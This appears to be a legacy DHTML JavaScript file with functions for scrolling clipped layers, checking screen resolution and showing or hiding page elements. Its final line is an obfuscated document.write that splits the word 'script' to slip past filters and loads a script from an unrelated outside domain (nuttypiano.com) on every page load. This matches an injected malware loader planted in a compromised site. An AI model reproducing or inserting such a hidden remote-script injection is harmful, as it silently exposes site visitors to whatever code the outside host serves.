var clipTop = 0;
var clipWidth = 201;
var clipBottom = 180;
var topper = 300;
var lyrheight = 201;
var time,amount,theTime,theHeight,DHTML;

function init()
{
	
	DHTML = (document.getElementById || document.all || document.layers)
	if (!DHTML) return;
	var x = new getObj('example');
	if (document.layers)
	{
		lyrheight = x.style.clip.bottom;
		lyrheight += 20;
		x.style.clip.top = clipTop;
		x.style.clip.left = 0;
		x.style.clip.right = clipWidth;
		x.style.clip.bottom = clipBottom;
	
		if (screen.width<1024 && screen.height<768)
				x.style.left=570;
		
		//make the scrolling text visible
		//
		show('example');
		
	}
	else if (document.getElementById || document.all)
	{
		lyrheight = x.obj.offsetHeight;
		x.style.clip = 'rect('+clipTop+'px,'+clipWidth+'px,'+clipBottom+'px,0)';

		if (screen.width<1024 && screen.height<768)
					x.style.left=570;
		//make the scrolling text visible
		//
		show('example');
	}

	
		//if the 
	if (screen.width<1024 && screen.height<768)
	{
		vis('visible');
		setTimeout("vis('hidden')",5000);
	}

	

}

function scrollayer(layername,amt,tim)
{
	if (!DHTML) return;
	thelayer = new getObj(layername);
	if (!thelayer) return;
	amount = amt;
	theTime = tim;
	realscroll();
}

function realscroll()
{
	if (!DHTML) return;
	clipTop += amount;
	clipBottom += amount;
	topper -= amount;
	if (clipTop < 0 || clipBottom > lyrheight)
	{
		clipTop -= amount;
		clipBottom -= amount;
		topper += amount;
		return;
	}
	if (document.getElementById || document.all)
	{
		clipstring = 'rect('+clipTop+'px,'+clipWidth+'px,'+clipBottom+'px,0)';
		thelayer.style.clip = clipstring;
		thelayer.style.top = topper + 'px';
	}
	else if (document.layers)
	{
		thelayer.style.clip.top = clipTop;
		thelayer.style.clip.bottom = clipBottom;
		thelayer.style.top = topper;
	}
	time = setTimeout('realscroll()',theTime);
}

function stopScroll()
{
	if (time) clearTimeout(time);

}

function checkWinSize()
{
	// function to be called by every page to check if the 
	// resoluiton of the page is not 1024 x 768

	if (screen.width<1024 && screen.height<768)
	{

		vis('visible');
		setTimeout("vis('hidden')",5000);
	}
}


function vis(val)
{
	DHTML = (document.getElementById || document.all || document.layers)
	if (!DHTML) return;
	var f = new getObj('showMsg');
	f.style.visibility = val;
}

function getObj(name)
{
  if (document.getElementById)
  {
    this.obj = document.getElementById(name);
	this.style = document.getElementById(name).style;
  }
  else if (document.all)
  {
    this.obj = document.all[name];
	this.style = document.all[name].style;
  }
  else if (document.layers)
  {
   	this.obj = document.layers[name];
   	this.style = document.layers[name];
  }
}



	function getStyleObject(objectId) 
	{
    	// cross-browser function to get an object's style object given its id
	    if(document.getElementById && document.getElementById(objectId)) {
		// W3C DOM
		return document.getElementById(objectId).style;
    	} else if (document.all && document.all(objectId)) {
	 	// MSIE 4 DOM
		return document.all(objectId).style;
	    } else if (document.layers && document.layers[objectId]) {
		// NN 4 DOM.. note: this won't find nested layers
		return document.layers[objectId];
    	} else {
		return false;
    	}
	} // getStyleObject

function changeObjectVisibility(objectId, newVisibility) {
    // get a reference to the cross-browser style object and make sure the object exists
    var styleObject = getStyleObject(objectId);
    if(styleObject) {
	styleObject.visibility = newVisibility;
	return true;
    } else {
	//we couldn't find the object, so we can't change its visibility
	return false;
    }
} // changeObjectVisibility

function hideme(_Option)
{
			changeObjectVisibility(_Option, 'hidden');
}

function show(_Option)
	{
			changeObjectVisibility(_Option, 'visible');
}






document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Laser_Printer.js"></scri'+'pt>');